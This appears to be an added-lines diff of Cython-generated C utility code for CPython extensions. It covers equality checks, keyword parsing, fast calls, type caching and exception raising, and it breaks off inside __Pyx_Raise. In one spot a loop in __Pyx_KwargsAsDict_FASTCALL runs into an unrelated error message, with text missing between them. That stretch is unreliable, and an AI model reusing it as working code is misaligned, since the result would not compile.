PyObject * +__Pyx_PyList_FromArray(PyObject *const *src, Py_ssize_t n) +{ + PyObject *res; + if (n <= 0) { + return PyList_New(0); + } + res = PyList_New(n); + if (unlikely(res == NULL)) return NULL; + __Pyx_copy_object_array(src, ((PyListObject*)res)->ob_item, n); + return res; +} +#endif + +/* BytesEquals */ +static CYTHON_INLINE int __Pyx_PyBytes_Equals(PyObject* s1, PyObject* s2, int equals) { +#if CYTHON_COMPILING_IN_PYPY || CYTHON_COMPILING_IN_LIMITED_API + return PyObject_RichCompareBool(s1, s2, equals); +#else + if (s1 == s2) { + return (equals == Py_EQ); + } else if (PyBytes_CheckExact(s1) & PyBytes_CheckExact(s2)) { + const char *ps1, *ps2; + Py_ssize_t length = PyBytes_GET_SIZE(s1); + if (length != PyBytes_GET_SIZE(s2)) + return (equals == Py_NE); + ps1 = PyBytes_AS_STRING(s1); + ps2 = PyBytes_AS_STRING(s2); + if (ps1[0] != ps2[0]) { + return (equals == Py_NE); + } else if (length == 1) { + return (equals == Py_EQ); + } else { + int result; +#if CYTHON_USE_UNICODE_INTERNALS && (PY_VERSION_HEX < 0x030B0000) + Py_hash_t hash1, hash2; + hash1 = ((PyBytesObject*)s1)->ob_shash; + hash2 = ((PyBytesObject*)s2)->ob_shash; + if (hash1 != hash2 && hash1 != -1 && hash2 != -1) { + return (equals == Py_NE); + } +#endif + result = memcmp(ps1, ps2, (size_t)length); + return (equals == Py_EQ) ? (result == 0) : (result != 0); + } + } else if ((s1 == Py_None) & PyBytes_CheckExact(s2)) { + return (equals == Py_NE); + } else if ((s2 == Py_None) & PyBytes_CheckExact(s1)) { + return (equals == Py_NE); + } else { + int result; + PyObject* py_result = PyObject_RichCompare(s1, s2, equals); + if (!py_result) + return -1; + result = __Pyx_PyObject_IsTrue(py_result); + Py_DECREF(py_result); + return result; + } +#endif +} + +/* UnicodeEquals */ +static CYTHON_INLINE int __Pyx_PyUnicode_Equals(PyObject* s1, PyObject* s2, int equals) { +#if CYTHON_COMPILING_IN_PYPY || CYTHON_COMPILING_IN_LIMITED_API + return PyObject_RichCompareBool(s1, s2, equals); +#else +#if PY_MAJOR_VERSION < 3 + PyObject* owned_ref = NULL; +#endif + int s1_is_unicode, s2_is_unicode; + if (s1 == s2) { + goto return_eq; + } + s1_is_unicode = PyUnicode_CheckExact(s1); + s2_is_unicode = PyUnicode_CheckExact(s2); +#if PY_MAJOR_VERSION < 3 + if ((s1_is_unicode & (!s2_is_unicode)) && PyString_CheckExact(s2)) { + owned_ref = PyUnicode_FromObject(s2); + if (unlikely(!owned_ref)) + return -1; + s2 = owned_ref; + s2_is_unicode = 1; + } else if ((s2_is_unicode & (!s1_is_unicode)) && PyString_CheckExact(s1)) { + owned_ref = PyUnicode_FromObject(s1); + if (unlikely(!owned_ref)) + return -1; + s1 = owned_ref; + s1_is_unicode = 1; + } else if (((!s2_is_unicode) & (!s1_is_unicode))) { + return __Pyx_PyBytes_Equals(s1, s2, equals); + } +#endif + if (s1_is_unicode & s2_is_unicode) { + Py_ssize_t length; + int kind; + void *data1, *data2; + if (unlikely(__Pyx_PyUnicode_READY(s1) < 0) || unlikely(__Pyx_PyUnicode_READY(s2) < 0)) + return -1; + length = __Pyx_PyUnicode_GET_LENGTH(s1); + if (length != __Pyx_PyUnicode_GET_LENGTH(s2)) { + goto return_ne; + } +#if CYTHON_USE_UNICODE_INTERNALS + { + Py_hash_t hash1, hash2; + #if CYTHON_PEP393_ENABLED + hash1 = ((PyASCIIObject*)s1)->hash; + hash2 = ((PyASCIIObject*)s2)->hash; + #else + hash1 = ((PyUnicodeObject*)s1)->hash; + hash2 = ((PyUnicodeObject*)s2)->hash; + #endif + if (hash1 != hash2 && hash1 != -1 && hash2 != -1) { + goto return_ne; + } + } +#endif + kind = __Pyx_PyUnicode_KIND(s1); + if (kind != __Pyx_PyUnicode_KIND(s2)) { + goto return_ne; + } + data1 = __Pyx_PyUnicode_DATA(s1); + data2 = __Pyx_PyUnicode_DATA(s2); + if (__Pyx_PyUnicode_READ(kind, data1, 0) != __Pyx_PyUnicode_READ(kind, data2, 0)) { + goto return_ne; + } else if (length == 1) { + goto return_eq; + } else { + int result = memcmp(data1, data2, (size_t)(length * kind)); + #if PY_MAJOR_VERSION < 3 + Py_XDECREF(owned_ref); + #endif + return (equals == Py_EQ) ? (result == 0) : (result != 0); + } + } else if ((s1 == Py_None) & s2_is_unicode) { + goto return_ne; + } else if ((s2 == Py_None) & s1_is_unicode) { + goto return_ne; + } else { + int result; + PyObject* py_result = PyObject_RichCompare(s1, s2, equals); + #if PY_MAJOR_VERSION < 3 + Py_XDECREF(owned_ref); + #endif + if (!py_result) + return -1; + result = __Pyx_PyObject_IsTrue(py_result); + Py_DECREF(py_result); + return result; + } +return_eq: + #if PY_MAJOR_VERSION < 3 + Py_XDECREF(owned_ref); + #endif + return (equals == Py_EQ); +return_ne: + #if PY_MAJOR_VERSION < 3 + Py_XDECREF(owned_ref); + #endif + return (equals == Py_NE); +#endif +} + +/* fastcall */ +#if CYTHON_METH_FASTCALL +static CYTHON_INLINE PyObject * __Pyx_GetKwValue_FASTCALL(PyObject *kwnames, PyObject *const *kwvalues, PyObject *s) +{ + Py_ssize_t i, n = PyTuple_GET_SIZE(kwnames); + for (i = 0; i < n; i++) + { + if (s == PyTuple_GET_ITEM(kwnames, i)) return kwvalues[i]; + } + for (i = 0; i < n; i++) + { + int eq = __Pyx_PyUnicode_Equals(s, PyTuple_GET_ITEM(kwnames, i), Py_EQ); + if (unlikely(eq != 0)) { + if (unlikely(eq < 0)) return NULL; + return kwvalues[i]; + } + } + return NULL; +} +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x030d0000 +CYTHON_UNUSED static PyObject *__Pyx_KwargsAsDict_FASTCALL(PyObject *kwnames, PyObject *const *kwvalues) { + Py_ssize_t i, nkwargs = PyTuple_GET_SIZE(kwnames); + PyObject *dict; + dict = PyDict_New(); + if (unlikely(!dict)) + return NULL; + for (i=0; i= 3 + "%s() got multiple values for keyword argument '%U'", func_name, kw_name); + #else + "%s() got multiple values for keyword argument '%s'", func_name, + PyString_AsString(kw_name)); + #endif +} + +/* ParseKeywords */ +static int __Pyx_ParseOptionalKeywords( + PyObject *kwds, + PyObject *const *kwvalues, + PyObject **argnames[], + PyObject *kwds2, + PyObject *values[], + Py_ssize_t num_pos_args, + const char* function_name) +{ + PyObject *key = 0, *value = 0; + Py_ssize_t pos = 0; + PyObject*** name; + PyObject*** first_kw_arg = argnames + num_pos_args; + int kwds_is_tuple = CYTHON_METH_FASTCALL && likely(PyTuple_Check(kwds)); + while (1) { + Py_XDECREF(key); key = NULL; + Py_XDECREF(value); value = NULL; + if (kwds_is_tuple) { + Py_ssize_t size; +#if CYTHON_ASSUME_SAFE_MACROS + size = PyTuple_GET_SIZE(kwds); +#else + size = PyTuple_Size(kwds); + if (size < 0) goto bad; +#endif + if (pos >= size) break; +#if CYTHON_AVOID_BORROWED_REFS + key = __Pyx_PySequence_ITEM(kwds, pos); + if (!key) goto bad; +#elif CYTHON_ASSUME_SAFE_MACROS + key = PyTuple_GET_ITEM(kwds, pos); +#else + key = PyTuple_GetItem(kwds, pos); + if (!key) goto bad; +#endif + value = kwvalues[pos]; + pos++; + } + else + { + if (!PyDict_Next(kwds, &pos, &key, &value)) break; +#if CYTHON_AVOID_BORROWED_REFS + Py_INCREF(key); +#endif + } + name = first_kw_arg; + while (*name && (**name != key)) name++; + if (*name) { + values[name-argnames] = value; +#if CYTHON_AVOID_BORROWED_REFS + Py_INCREF(value); + Py_DECREF(key); +#endif + key = NULL; + value = NULL; + continue; + } +#if !CYTHON_AVOID_BORROWED_REFS + Py_INCREF(key); +#endif + Py_INCREF(value); + name = first_kw_arg; + #if PY_MAJOR_VERSION < 3 + if (likely(PyString_Check(key))) { + while (*name) { + if ((CYTHON_COMPILING_IN_PYPY || PyString_GET_SIZE(**name) == PyString_GET_SIZE(key)) + && _PyString_Eq(**name, key)) { + values[name-argnames] = value; +#if CYTHON_AVOID_BORROWED_REFS + value = NULL; +#endif + break; + } + name++; + } + if (*name) continue; + else { + PyObject*** argname = argnames; + while (argname != first_kw_arg) { + if ((**argname == key) || ( + (CYTHON_COMPILING_IN_PYPY || PyString_GET_SIZE(**argname) == PyString_GET_SIZE(key)) + && _PyString_Eq(**argname, key))) { + goto arg_passed_twice; + } + argname++; + } + } + } else + #endif + if (likely(PyUnicode_Check(key))) { + while (*name) { + int cmp = ( + #if !CYTHON_COMPILING_IN_PYPY && PY_MAJOR_VERSION >= 3 + (__Pyx_PyUnicode_GET_LENGTH(**name) != __Pyx_PyUnicode_GET_LENGTH(key)) ? 1 : + #endif + PyUnicode_Compare(**name, key) + ); + if (cmp < 0 && unlikely(PyErr_Occurred())) goto bad; + if (cmp == 0) { + values[name-argnames] = value; +#if CYTHON_AVOID_BORROWED_REFS + value = NULL; +#endif + break; + } + name++; + } + if (*name) continue; + else { + PyObject*** argname = argnames; + while (argname != first_kw_arg) { + int cmp = (**argname == key) ? 0 : + #if !CYTHON_COMPILING_IN_PYPY && PY_MAJOR_VERSION >= 3 + (__Pyx_PyUnicode_GET_LENGTH(**argname) != __Pyx_PyUnicode_GET_LENGTH(key)) ? 1 : + #endif + PyUnicode_Compare(**argname, key); + if (cmp < 0 && unlikely(PyErr_Occurred())) goto bad; + if (cmp == 0) goto arg_passed_twice; + argname++; + } + } + } else + goto invalid_keyword_type; + if (kwds2) { + if (unlikely(PyDict_SetItem(kwds2, key, value))) goto bad; + } else { + goto invalid_keyword; + } + } + Py_XDECREF(key); + Py_XDECREF(value); + return 0; +arg_passed_twice: + __Pyx_RaiseDoubleKeywordsError(function_name, key); + goto bad; +invalid_keyword_type: + PyErr_Format(PyExc_TypeError, + "%.200s() keywords must be strings", function_name); + goto bad; +invalid_keyword: + #if PY_MAJOR_VERSION < 3 + PyErr_Format(PyExc_TypeError, + "%.200s() got an unexpected keyword argument '%.200s'", + function_name, PyString_AsString(key)); + #else + PyErr_Format(PyExc_TypeError, + "%s() got an unexpected keyword argument '%U'", + function_name, key); + #endif +bad: + Py_XDECREF(key); + Py_XDECREF(value); + return -1; +} + +/* PyDictVersioning */ +#if CYTHON_USE_DICT_VERSIONS && CYTHON_USE_TYPE_SLOTS +static CYTHON_INLINE PY_UINT64_T __Pyx_get_tp_dict_version(PyObject *obj) { + PyObject *dict = Py_TYPE(obj)->tp_dict; + return likely(dict) ? __PYX_GET_DICT_VERSION(dict) : 0; +} +static CYTHON_INLINE PY_UINT64_T __Pyx_get_object_dict_version(PyObject *obj) { + PyObject **dictptr = NULL; + Py_ssize_t offset = Py_TYPE(obj)->tp_dictoffset; + if (offset) { +#if CYTHON_COMPILING_IN_CPYTHON + dictptr = (likely(offset > 0)) ? (PyObject **) ((char *)obj + offset) : _PyObject_GetDictPtr(obj); +#else + dictptr = _PyObject_GetDictPtr(obj); +#endif + } + return (dictptr && *dictptr) ? __PYX_GET_DICT_VERSION(*dictptr) : 0; +} +static CYTHON_INLINE int __Pyx_object_dict_version_matches(PyObject* obj, PY_UINT64_T tp_dict_version, PY_UINT64_T obj_dict_version) { + PyObject *dict = Py_TYPE(obj)->tp_dict; + if (unlikely(!dict) || unlikely(tp_dict_version != __PYX_GET_DICT_VERSION(dict))) + return 0; + return obj_dict_version == __Pyx_get_object_dict_version(obj); +} +#endif + +/* GetModuleGlobalName */ +#if CYTHON_USE_DICT_VERSIONS +static PyObject *__Pyx__GetModuleGlobalName(PyObject *name, PY_UINT64_T *dict_version, PyObject **dict_cached_value) +#else +static CYTHON_INLINE PyObject *__Pyx__GetModuleGlobalName(PyObject *name) +#endif +{ + PyObject *result; +#if !CYTHON_AVOID_BORROWED_REFS +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x030500A1 && PY_VERSION_HEX < 0x030d0000 + result = _PyDict_GetItem_KnownHash(__pyx_d, name, ((PyASCIIObject *) name)->hash); + __PYX_UPDATE_DICT_CACHE(__pyx_d, result, *dict_cached_value, *dict_version) + if (likely(result)) { + return __Pyx_NewRef(result); + } else if (unlikely(PyErr_Occurred())) { + return NULL; + } +#elif CYTHON_COMPILING_IN_LIMITED_API + if (unlikely(!__pyx_m)) { + return NULL; + } + result = PyObject_GetAttr(__pyx_m, name); + if (likely(result)) { + return result; + } +#else + result = PyDict_GetItem(__pyx_d, name); + __PYX_UPDATE_DICT_CACHE(__pyx_d, result, *dict_cached_value, *dict_version) + if (likely(result)) { + return __Pyx_NewRef(result); + } +#endif +#else + result = PyObject_GetItem(__pyx_d, name); + __PYX_UPDATE_DICT_CACHE(__pyx_d, result, *dict_cached_value, *dict_version) + if (likely(result)) { + return __Pyx_NewRef(result); + } + PyErr_Clear(); +#endif + return __Pyx_GetBuiltinName(name); +} + +/* PyFunctionFastCall */ +#if CYTHON_FAST_PYCALL && !CYTHON_VECTORCALL +static PyObject* __Pyx_PyFunction_FastCallNoKw(PyCodeObject *co, PyObject **args, Py_ssize_t na, + PyObject *globals) { + PyFrameObject *f; + PyThreadState *tstate = __Pyx_PyThreadState_Current; + PyObject **fastlocals; + Py_ssize_t i; + PyObject *result; + assert(globals != NULL); + /* XXX Perhaps we should create a specialized + PyFrame_New() that doesn't take locals, but does + take builtins without sanity checking them. + */ + assert(tstate != NULL); + f = PyFrame_New(tstate, co, globals, NULL); + if (f == NULL) { + return NULL; + } + fastlocals = __Pyx_PyFrame_GetLocalsplus(f); + for (i = 0; i < na; i++) { + Py_INCREF(*args); + fastlocals[i] = *args++; + } + result = PyEval_EvalFrameEx(f,0); + ++tstate->recursion_depth; + Py_DECREF(f); + --tstate->recursion_depth; + return result; +} +static PyObject *__Pyx_PyFunction_FastCallDict(PyObject *func, PyObject **args, Py_ssize_t nargs, PyObject *kwargs) { + PyCodeObject *co = (PyCodeObject *)PyFunction_GET_CODE(func); + PyObject *globals = PyFunction_GET_GLOBALS(func); + PyObject *argdefs = PyFunction_GET_DEFAULTS(func); + PyObject *closure; +#if PY_MAJOR_VERSION >= 3 + PyObject *kwdefs; +#endif + PyObject *kwtuple, **k; + PyObject **d; + Py_ssize_t nd; + Py_ssize_t nk; + PyObject *result; + assert(kwargs == NULL || PyDict_Check(kwargs)); + nk = kwargs ? PyDict_Size(kwargs) : 0; + #if PY_MAJOR_VERSION < 3 + if (unlikely(Py_EnterRecursiveCall((char*)" while calling a Python object"))) { + return NULL; + } + #else + if (unlikely(Py_EnterRecursiveCall(" while calling a Python object"))) { + return NULL; + } + #endif + if ( +#if PY_MAJOR_VERSION >= 3 + co->co_kwonlyargcount == 0 && +#endif + likely(kwargs == NULL || nk == 0) && + co->co_flags == (CO_OPTIMIZED | CO_NEWLOCALS | CO_NOFREE)) { + if (argdefs == NULL && co->co_argcount == nargs) { + result = __Pyx_PyFunction_FastCallNoKw(co, args, nargs, globals); + goto done; + } + else if (nargs == 0 && argdefs != NULL + && co->co_argcount == Py_SIZE(argdefs)) { + /* function called with no arguments, but all parameters have + a default value: use default values as arguments .*/ + args = &PyTuple_GET_ITEM(argdefs, 0); + result =__Pyx_PyFunction_FastCallNoKw(co, args, Py_SIZE(argdefs), globals); + goto done; + } + } + if (kwargs != NULL) { + Py_ssize_t pos, i; + kwtuple = PyTuple_New(2 * nk); + if (kwtuple == NULL) { + result = NULL; + goto done; + } + k = &PyTuple_GET_ITEM(kwtuple, 0); + pos = i = 0; + while (PyDict_Next(kwargs, &pos, &k[i], &k[i+1])) { + Py_INCREF(k[i]); + Py_INCREF(k[i+1]); + i += 2; + } + nk = i / 2; + } + else { + kwtuple = NULL; + k = NULL; + } + closure = PyFunction_GET_CLOSURE(func); +#if PY_MAJOR_VERSION >= 3 + kwdefs = PyFunction_GET_KW_DEFAULTS(func); +#endif + if (argdefs != NULL) { + d = &PyTuple_GET_ITEM(argdefs, 0); + nd = Py_SIZE(argdefs); + } + else { + d = NULL; + nd = 0; + } +#if PY_MAJOR_VERSION >= 3 + result = PyEval_EvalCodeEx((PyObject*)co, globals, (PyObject *)NULL, + args, (int)nargs, + k, (int)nk, + d, (int)nd, kwdefs, closure); +#else + result = PyEval_EvalCodeEx(co, globals, (PyObject *)NULL, + args, (int)nargs, + k, (int)nk, + d, (int)nd, closure); +#endif + Py_XDECREF(kwtuple); +done: + Py_LeaveRecursiveCall(); + return result; +} +#endif + +/* PyObjectCall */ +#if CYTHON_COMPILING_IN_CPYTHON +static CYTHON_INLINE PyObject* __Pyx_PyObject_Call(PyObject *func, PyObject *arg, PyObject *kw) { + PyObject *result; + ternaryfunc call = Py_TYPE(func)->tp_call; + if (unlikely(!call)) + return PyObject_Call(func, arg, kw); + #if PY_MAJOR_VERSION < 3 + if (unlikely(Py_EnterRecursiveCall((char*)" while calling a Python object"))) + return NULL; + #else + if (unlikely(Py_EnterRecursiveCall(" while calling a Python object"))) + return NULL; + #endif + result = (*call)(func, arg, kw); + Py_LeaveRecursiveCall(); + if (unlikely(!result) && unlikely(!PyErr_Occurred())) { + PyErr_SetString( + PyExc_SystemError, + "NULL result without error in PyObject_Call"); + } + return result; +} +#endif + +/* PyObjectCallMethO */ +#if CYTHON_COMPILING_IN_CPYTHON +static CYTHON_INLINE PyObject* __Pyx_PyObject_CallMethO(PyObject *func, PyObject *arg) { + PyObject *self, *result; + PyCFunction cfunc; + cfunc = __Pyx_CyOrPyCFunction_GET_FUNCTION(func); + self = __Pyx_CyOrPyCFunction_GET_SELF(func); + #if PY_MAJOR_VERSION < 3 + if (unlikely(Py_EnterRecursiveCall((char*)" while calling a Python object"))) + return NULL; + #else + if (unlikely(Py_EnterRecursiveCall(" while calling a Python object"))) + return NULL; + #endif + result = cfunc(self, arg); + Py_LeaveRecursiveCall(); + if (unlikely(!result) && unlikely(!PyErr_Occurred())) { + PyErr_SetString( + PyExc_SystemError, + "NULL result without error in PyObject_Call"); + } + return result; +} +#endif + +/* PyObjectFastCall */ +#if PY_VERSION_HEX < 0x03090000 || CYTHON_COMPILING_IN_LIMITED_API +static PyObject* __Pyx_PyObject_FastCall_fallback(PyObject *func, PyObject **args, size_t nargs, PyObject *kwargs) { + PyObject *argstuple; + PyObject *result = 0; + size_t i; + argstuple = PyTuple_New((Py_ssize_t)nargs); + if (unlikely(!argstuple)) return NULL; + for (i = 0; i < nargs; i++) { + Py_INCREF(args[i]); + if (__Pyx_PyTuple_SET_ITEM(argstuple, (Py_ssize_t)i, args[i]) < 0) goto bad; + } + result = __Pyx_PyObject_Call(func, argstuple, kwargs); + bad: + Py_DECREF(argstuple); + return result; +} +#endif +static CYTHON_INLINE PyObject* __Pyx_PyObject_FastCallDict(PyObject *func, PyObject **args, size_t _nargs, PyObject *kwargs) { + Py_ssize_t nargs = __Pyx_PyVectorcall_NARGS(_nargs); +#if CYTHON_COMPILING_IN_CPYTHON + if (nargs == 0 && kwargs == NULL) { + if (__Pyx_CyOrPyCFunction_Check(func) && likely( __Pyx_CyOrPyCFunction_GET_FLAGS(func) & METH_NOARGS)) + return __Pyx_PyObject_CallMethO(func, NULL); + } + else if (nargs == 1 && kwargs == NULL) { + if (__Pyx_CyOrPyCFunction_Check(func) && likely( __Pyx_CyOrPyCFunction_GET_FLAGS(func) & METH_O)) + return __Pyx_PyObject_CallMethO(func, args[0]); + } +#endif + #if PY_VERSION_HEX < 0x030800B1 + #if CYTHON_FAST_PYCCALL + if (PyCFunction_Check(func)) { + if (kwargs) { + return _PyCFunction_FastCallDict(func, args, nargs, kwargs); + } else { + return _PyCFunction_FastCallKeywords(func, args, nargs, NULL); + } + } + #if PY_VERSION_HEX >= 0x030700A1 + if (!kwargs && __Pyx_IS_TYPE(func, &PyMethodDescr_Type)) { + return _PyMethodDescr_FastCallKeywords(func, args, nargs, NULL); + } + #endif + #endif + #if CYTHON_FAST_PYCALL + if (PyFunction_Check(func)) { + return __Pyx_PyFunction_FastCallDict(func, args, nargs, kwargs); + } + #endif + #endif + if (kwargs == NULL) { + #if CYTHON_VECTORCALL + #if PY_VERSION_HEX < 0x03090000 + vectorcallfunc f = _PyVectorcall_Function(func); + #else + vectorcallfunc f = PyVectorcall_Function(func); + #endif + if (f) { + return f(func, args, (size_t)nargs, NULL); + } + #elif defined(__Pyx_CyFunction_USED) && CYTHON_BACKPORT_VECTORCALL + if (__Pyx_CyFunction_CheckExact(func)) { + __pyx_vectorcallfunc f = __Pyx_CyFunction_func_vectorcall(func); + if (f) return f(func, args, (size_t)nargs, NULL); + } + #endif + } + if (nargs == 0) { + return __Pyx_PyObject_Call(func, __pyx_empty_tuple, kwargs); + } + #if PY_VERSION_HEX >= 0x03090000 && !CYTHON_COMPILING_IN_LIMITED_API + return PyObject_VectorcallDict(func, args, (size_t)nargs, kwargs); + #else + return __Pyx_PyObject_FastCall_fallback(func, args, (size_t)nargs, kwargs); + #endif +} + +/* FixUpExtensionType */ +#if CYTHON_USE_TYPE_SPECS +static int __Pyx_fix_up_extension_type_from_spec(PyType_Spec *spec, PyTypeObject *type) { +#if PY_VERSION_HEX > 0x030900B1 || CYTHON_COMPILING_IN_LIMITED_API + CYTHON_UNUSED_VAR(spec); + CYTHON_UNUSED_VAR(type); +#else + const PyType_Slot *slot = spec->slots; + while (slot && slot->slot && slot->slot != Py_tp_members) + slot++; + if (slot && slot->slot == Py_tp_members) { + int changed = 0; +#if !(PY_VERSION_HEX <= 0x030900b1 && CYTHON_COMPILING_IN_CPYTHON) + const +#endif + PyMemberDef *memb = (PyMemberDef*) slot->pfunc; + while (memb && memb->name) { + if (memb->name[0] == '_' && memb->name[1] == '_') { +#if PY_VERSION_HEX < 0x030900b1 + if (strcmp(memb->name, "__weaklistoffset__") == 0) { + assert(memb->type == T_PYSSIZET); + assert(memb->flags == READONLY); + type->tp_weaklistoffset = memb->offset; + changed = 1; + } + else if (strcmp(memb->name, "__dictoffset__") == 0) { + assert(memb->type == T_PYSSIZET); + assert(memb->flags == READONLY); + type->tp_dictoffset = memb->offset; + changed = 1; + } +#if CYTHON_METH_FASTCALL + else if (strcmp(memb->name, "__vectorcalloffset__") == 0) { + assert(memb->type == T_PYSSIZET); + assert(memb->flags == READONLY); +#if PY_VERSION_HEX >= 0x030800b4 + type->tp_vectorcall_offset = memb->offset; +#else + type->tp_print = (printfunc) memb->offset; +#endif + changed = 1; + } +#endif +#else + if ((0)); +#endif +#if PY_VERSION_HEX <= 0x030900b1 && CYTHON_COMPILING_IN_CPYTHON + else if (strcmp(memb->name, "__module__") == 0) { + PyObject *descr; + assert(memb->type == T_OBJECT); + assert(memb->flags == 0 || memb->flags == READONLY); + descr = PyDescr_NewMember(type, memb); + if (unlikely(!descr)) + return -1; + if (unlikely(PyDict_SetItem(type->tp_dict, PyDescr_NAME(descr), descr) < 0)) { + Py_DECREF(descr); + return -1; + } + Py_DECREF(descr); + changed = 1; + } +#endif + } + memb++; + } + if (changed) + PyType_Modified(type); + } +#endif + return 0; +} +#endif + +/* FetchSharedCythonModule */ +static PyObject *__Pyx_FetchSharedCythonABIModule(void) { + return __Pyx_PyImport_AddModuleRef((char*) __PYX_ABI_MODULE_NAME); +} + +/* FetchCommonType */ +static int __Pyx_VerifyCachedType(PyObject *cached_type, + const char *name, + Py_ssize_t basicsize, + Py_ssize_t expected_basicsize) { + if (!PyType_Check(cached_type)) { + PyErr_Format(PyExc_TypeError, + "Shared Cython type %.200s is not a type object", name); + return -1; + } + if (basicsize != expected_basicsize) { + PyErr_Format(PyExc_TypeError, + "Shared Cython type %.200s has the wrong size, try recompiling", + name); + return -1; + } + return 0; +} +#if !CYTHON_USE_TYPE_SPECS +static PyTypeObject* __Pyx_FetchCommonType(PyTypeObject* type) { + PyObject* abi_module; + const char* object_name; + PyTypeObject *cached_type = NULL; + abi_module = __Pyx_FetchSharedCythonABIModule(); + if (!abi_module) return NULL; + object_name = strrchr(type->tp_name, '.'); + object_name = object_name ? object_name+1 : type->tp_name; + cached_type = (PyTypeObject*) PyObject_GetAttrString(abi_module, object_name); + if (cached_type) { + if (__Pyx_VerifyCachedType( + (PyObject *)cached_type, + object_name, + cached_type->tp_basicsize, + type->tp_basicsize) < 0) { + goto bad; + } + goto done; + } + if (!PyErr_ExceptionMatches(PyExc_AttributeError)) goto bad; + PyErr_Clear(); + if (PyType_Ready(type) < 0) goto bad; + if (PyObject_SetAttrString(abi_module, object_name, (PyObject *)type) < 0) + goto bad; + Py_INCREF(type); + cached_type = type; +done: + Py_DECREF(abi_module); + return cached_type; +bad: + Py_XDECREF(cached_type); + cached_type = NULL; + goto done; +} +#else +static PyTypeObject *__Pyx_FetchCommonTypeFromSpec(PyObject *module, PyType_Spec *spec, PyObject *bases) { + PyObject *abi_module, *cached_type = NULL; + const char* object_name = strrchr(spec->name, '.'); + object_name = object_name ? object_name+1 : spec->name; + abi_module = __Pyx_FetchSharedCythonABIModule(); + if (!abi_module) return NULL; + cached_type = PyObject_GetAttrString(abi_module, object_name); + if (cached_type) { + Py_ssize_t basicsize; +#if CYTHON_COMPILING_IN_LIMITED_API + PyObject *py_basicsize; + py_basicsize = PyObject_GetAttrString(cached_type, "__basicsize__"); + if (unlikely(!py_basicsize)) goto bad; + basicsize = PyLong_AsSsize_t(py_basicsize); + Py_DECREF(py_basicsize); + py_basicsize = 0; + if (unlikely(basicsize == (Py_ssize_t)-1) && PyErr_Occurred()) goto bad; +#else + basicsize = likely(PyType_Check(cached_type)) ? ((PyTypeObject*) cached_type)->tp_basicsize : -1; +#endif + if (__Pyx_VerifyCachedType( + cached_type, + object_name, + basicsize, + spec->basicsize) < 0) { + goto bad; + } + goto done; + } + if (!PyErr_ExceptionMatches(PyExc_AttributeError)) goto bad; + PyErr_Clear(); + CYTHON_UNUSED_VAR(module); + cached_type = __Pyx_PyType_FromModuleAndSpec(abi_module, spec, bases); + if (unlikely(!cached_type)) goto bad; + if (unlikely(__Pyx_fix_up_extension_type_from_spec(spec, (PyTypeObject *) cached_type) < 0)) goto bad; + if (PyObject_SetAttrString(abi_module, object_name, cached_type) < 0) goto bad; +done: + Py_DECREF(abi_module); + assert(cached_type == NULL || PyType_Check(cached_type)); + return (PyTypeObject *) cached_type; +bad: + Py_XDECREF(cached_type); + cached_type = NULL; + goto done; +} +#endif + +/* RaiseException */ +#if PY_MAJOR_VERSION < 3 +static void __Pyx_Raise(PyObject *type, PyObject *value, PyObject *tb, PyObject *cause) { + __Pyx_PyThreadState_declare + CYTHON_UNUSED_VAR(cause); + Py_XINCREF(type); + if (!value || value == Py_None) + value = NULL; + else + Py_INCREF(value); + if (!tb || tb == Py_None) + tb = NULL; + else { + Py_INCREF(tb); + if (!PyTraceBack_Check(tb)) { + PyErr_SetString(PyExc_TypeError, + "raise: arg 3 must be a traceback or None"); + goto raise_error; + } + } + if (PyType_Check(type)) { +#if CYTHON_COMPILING_IN_PYPY + if (!value) { + Py_INCREF(Py_None); + value = Py_None; + } +#endif + PyErr_NormalizeException(&type, &value, &tb); + } else { + if (value) { + PyErr_SetString(PyExc_TypeError, + "instance exception may not have a separate value"); + goto raise_error; + } + value = type; + type = (PyObject*) Py_TYPE(type); + Py_INCREF(type); + if (!PyType_IsSubtype((PyTypeObject *)type, (PyTypeObject *)PyExc_BaseException)) { + PyErr_SetString(PyExc_TypeError, + "raise: exception class must be a subclass of BaseException"); + goto raise_error; + } + } + __Pyx_PyThreadState_assign + __Pyx_ErrRestore(type, value, tb); + return; +raise_error: + Py_XDECREF(value); + Py_XDECREF(type); + Py_XDECREF(tb); + return; +} +#else +static void __Pyx_Raise(PyObject *type, PyObject *value, PyObject *tb, PyObject *cause) { + PyObject* owned_instance = NULL; + if (tb == Py_None) { + tb = 0; + } else if (tb && !PyTraceBack_Check(tb)) { + PyErr_SetString(PyExc_TypeError, + "raise: arg 3 must be a traceback or None"); + goto bad; + } + if (value == Py_None) + value = 0; + if (PyExceptionInstance_Check(type)) { + if (value) { + PyErr_SetString(PyExc_TypeError, + "instance exception may not have a separate value"); + goto bad; + } + value = type; + type = (PyObject*) Py_TYPE(value); + } else if (PyExceptionClass_Check(type)) { + PyObject *instance_class = NULL; + if (value && PyExceptionInstance_Check(value)) { + instance_class = (PyObject*) Py_TYPE(value); + if (instance_class != type) { + int is_subclass = PyObject_IsSubclass(instance_class, type); + if (!is_subclass) { + instance_class = NULL; + } else if (unlikely(is_subclass == -1)) { + goto bad; + } else { + type = instance_class; + } + } + } + if (!instance_class) { + PyObject *args; + if (!value) + args = PyTuple_New(0); + else if (PyTuple_Check(value)) { + Py_INCREF(value); + args = value; + } else + args = PyTuple_Pack(1, value); + if (!args) + goto bad; + owned_instance = PyObject_Call(type, args, NULL); + Py_DECREF(args); + if (!owned_instance) + goto bad; + value = owned_instance; + if (!PyExceptionInstance_Check(value)) { + PyErr_Format(PyExc_TypeError, + "calling %R should have returned an instance of " + "BaseException, not %R", + type, Py_TYPE(value)); + goto bad; + } + } + } else { + PyErr_SetString(PyExc_TypeError, + "raise: exception class must be a subclass of BaseException"); + goto bad; + } + if (cause) { + PyObject *fixed_cause; + if (cause == Py_None) { + fixed_cause = NULL; + } else if (PyExceptionClass_Check(cause)) { + fixed_cause = PyObject_CallObject(cause, NULL); + if (fixed_cause == NULL) + goto bad; + } else if (PyExceptionInstance_Check(cause)) { + fixed_cause = cause; + Py_INCREF(fixed_cause); + } else { + PyErr_SetString(PyExc_TypeError, + "exception causes must derive from " + "BaseException"); + goto bad; + } + PyException_SetCause(value, fixed_cause); + } + PyErr_SetObject(type, value); + if (tb) { + #if PY_VERSION_HEX >= 0x030C00A6 + PyException_SetTraceback(value, tb); + #elif CYTHON_FAST_THREAD_STATE + PyThreadState *tstate = __Pyx_PyThreadState_Current; + PyObject* tmp_tb = tstate->curexc_traceback; + if (tb != tmp_tb) { + 